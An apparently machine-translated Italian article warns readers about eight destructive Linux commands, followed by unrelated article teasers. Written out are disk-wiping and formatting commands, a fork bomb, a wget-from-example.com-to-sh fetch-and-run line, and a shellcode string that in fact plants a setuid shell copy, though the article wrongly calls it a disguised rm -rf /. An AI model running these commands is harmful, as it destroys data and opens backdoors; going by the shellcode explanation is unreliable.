8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

I comandi del terminale su Linux sono piuttosto distruttivi, se esegui un comando distruggerà il tuo sistema. Linux non richiede conferma durante l'esecuzione di qualsiasi comando.

Imparare quali comandi non dovrebbero essere eseguiti su Linux aiuta a proteggere il tuo sistema quando lavori su Linux. Di seguito sono riportati 8 comandi mortali che non dovresti mai eseguire su Linux.

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

1. rm -rf / - cancella tutto

Il comando rm -rf / eliminerà tutto, inclusi i file sul disco rigido e i file sui dispositivi multimediali collegati al computer.

Per comprendere meglio questo comando, analizzatelo come segue:

  • rm – Elimina i seguenti file.
  • -rf – esegue rm (elimina tutti i file e le cartelle all'interno di una cartella specificata) ed elimina forzatamente tutti i file senza prima chiedertelo.
  • / – Indica che rm (ad esempio rm) inizia nella directory principale, inclusi tutti i file sul tuo computer.

Linux seguirà felicemente questo comando ed eliminerà tutto senza avvisarti, quindi fai attenzione quando usi questo comando.

Inoltre il comando rm viene utilizzato anche in modi molto pericolosi. Ad esempio, rm –rf ~ eliminerà tutti i file nella cartella Home e rm -rf .* eliminerà tutti i file di configurazione.

2. Comando mascherato rm –rf /

Ecco uno snippet di codice in tutto il Web:

char esp[] __attribute__ ((section(".text"))) /* versione esp */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80 \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";

Questa è essenzialmente un'altra versione di rm –rf / – l'esecuzione di questo comando eliminerà anche tutti i tuoi file, proprio come l'esecuzione di rm –rf /.

3. :(){ :|: & };: – Un tipo di blockbuster

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

La riga di comando seguente sembra molto semplice ma la sua funzione è in realtà molto pericolosa:

:(){ :|: & };:

Questo breve comando creerà nuove copie di se stesso. Cioè, il processo di backup stesso sarà continuo e causerà rapidamente il riempimento della CPU e della memoria.

Inoltre può causare il blocco del computer. Si tratta fondamentalmente di un attacco Denial of Service (DoS).

4. mkfs.ext4 /dev/sda1 – Formati del disco rigido

Il comando mkfs.ext4 /dev/sda1 è abbastanza facile da capire:

  • mkfs.ext4: crea un file system ext4 sul seguente dispositivo.
  • /dev/sda1 - identifica la prima partizione sul primo disco rigido, che potrebbe essere il disco rigido in uso.

Combinare questi due comandi equivale a formattare l'unità C: su Windows: elimina tutti i file sulla prima partizione e sostituiscili con il nuovo file system.

Questo comando può apparire in molti formati diversi, ad esempio: mkfs.ext3 /dev/sdb2 formatterà la seconda partizione sul secondo disco rigido con il file system ext3.

5. comando > /dev/sda - scrivi direttamente su un disco rigido

8 comandi mortali che non dovrebbero mai essere eseguiti su Linux

Riga di comando > /dev/sda: esegui un comando e invia il risultato di quel comando direttamente al tuo primo disco rigido, scrivendo i dati direttamente sul disco rigido e distruggendo il tuo file system.

  • comando – Esegue un comando (può essere qualsiasi comando).
  • > – invia l'output del comando alla seguente posizione.
  • /dev/sda – Scrive l'output del comando direttamente sul dispositivo del disco rigido.

6. dd if=/dev/random of=/dev/sda – scrive dati stupidi sul disco rigido

La riga dd if=/dev/random of=/dev/sda cancellerà i dati su uno dei tuoi dischi rigidi.

  • dd – consiste nell'eseguire una copia di basso livello da una posizione all'altra.
  • if=/dev/random – Usa /dev/random come input – potresti vedere indirizzi come /dev/zero.
  • of=/dev/sda – output sul primo disco rigido, sostituendo il file system con dati stupidi casuali.

7. mv ~ /dev/null – Sposta la tua directory Home in un buco nero

/dev/null - spostare qualcosa in /dev/null equivale a distruggerlo. Pensa a /dev/null come a un buco nero. mv ~ /dev/null invierà tutti i tuoi file personali in un buco nero.

  • mv – sposta il seguente file o cartella in un'altra posizione.
  • ~ – L'intera cartella Home.
  • /dev/null – Sposta la tua cartella Home in /dev/null, distruggerà tutti i tuoi file ed eliminerà le copie originali.

8. wget http://example.com/qualcosa -O – | sh: carica ed esegui uno script

Il comando precedente scaricherà uno script dal Web e invierà lo script a sh, che eseguirà il contenuto dello script. Questo può essere pericoloso se non sei sicuro di cosa sia uno script o non disponi di una fonte di script attendibile: non eseguire script non attendibili.

wget – scarica un file.

http://example.com/something: scarica i file da questa posizione.

| – Invia tramite pipe l'output del comando wget (file della versione scaricata) direttamente a un altro comando.

sh – invia il file al comando sh.

Fare riferimento ad alcuni altri articoli di seguito:

Divertirsi!


Come rimuovere lavviso di richiesta di copyright nellangolo destro dello schermo su Windows 10

Come rimuovere lavviso di richiesta di copyright nellangolo destro dello schermo su Windows 10

Vedi una notifica di attivazione di Windows 10 nell'angolo destro dello schermo? Questo articolo ti guiderà come eliminare l'avviso di richiesta di copyright su Windows 10.

Istruzioni dalla A alla Z su come installare Windows 10 build 14393.222

Istruzioni dalla A alla Z su come installare Windows 10 build 14393.222

Recentemente Microsoft ha rilasciato l'ultimo aggiornamento cumulativo per gli utenti di PC Windows 10 chiamato Build 14393.222. Questo aggiornamento rilasciato per Windows 10 corregge principalmente i bug in base al feedback degli utenti e migliora l'esperienza delle prestazioni del sistema operativo.

Proteggi la tua rete di computer con Bastion host in soli 3 passaggi

Proteggi la tua rete di computer con Bastion host in soli 3 passaggi

Hai computer sulla tua rete locale che necessitano di accesso esterno? Utilizzare un bastion host come gatekeeper per la tua rete può essere una buona soluzione.

Come creare un tasto Windows se la tastiera non è disponibile

Come creare un tasto Windows se la tastiera non è disponibile

Se preferisci utilizzare una vecchia tastiera classica, come l'IBM Model M, che non include un tasto Windows fisico, esiste un metodo semplice per aggiungerne altro, prendendo in prestito un tasto che non usi spesso. .

3 modi per cancellare rapidamente tutti i registri eventi in Windows 10

3 modi per cancellare rapidamente tutti i registri eventi in Windows 10

A volte potrebbe essere necessario eliminare i vecchi registri eventi tutti in una volta. In questa guida, Quantrimang.com ti mostrerà 3 modi per eliminare rapidamente tutti i registri eventi nel Visualizzatore eventi di Windows 10.

I metodi IP falsi ti aiutano ad accedere in modo anonimo

I metodi IP falsi ti aiutano ad accedere in modo anonimo

In molti articoli precedenti abbiamo menzionato che rimanere anonimi online è estremamente importante. Ogni anno vengono divulgate informazioni private, rendendo la sicurezza online sempre più necessaria. Questo è anche il motivo per cui dovremmo utilizzare indirizzi IP virtuali. Di seguito impareremo i metodi per creare IP falsi!

Come creare la modalità sfondo trasparente su Windows 10

Come creare la modalità sfondo trasparente su Windows 10

WindowTop è uno strumento che ha la capacità di oscurare tutte le finestre delle applicazioni e i programmi in esecuzione su computer Windows 10. Oppure puoi utilizzare un'interfaccia con sfondo scuro su Windows.

Come disattivare la barra della lingua sulla barra delle applicazioni di Windows 8

Come disattivare la barra della lingua sulla barra delle applicazioni di Windows 8

La barra della lingua su Windows 8 è una barra degli strumenti della lingua in miniatura progettata per essere visualizzata automaticamente sullo schermo del desktop. Tuttavia, molte persone desiderano nascondere questa barra della lingua sulla barra delle applicazioni.

Come impostare WEP, WPA, WPA2 per il router Linksys

Come impostare WEP, WPA, WPA2 per il router Linksys

La connettività wireless è oggi una necessità e per questo motivo la sicurezza wireless è essenziale per garantire la sicurezza della rete interna.

Suggerimenti per ottimizzare la velocità della connessione Internet da Linksys

Suggerimenti per ottimizzare la velocità della connessione Internet da Linksys

Massimizzare la velocità di Internet è essenziale per ottimizzare la connessione di rete. Puoi vivere un'esperienza di intrattenimento e di lavoro ottimale utilizzando computer, TV predisposte per Internet, console di gioco, ecc.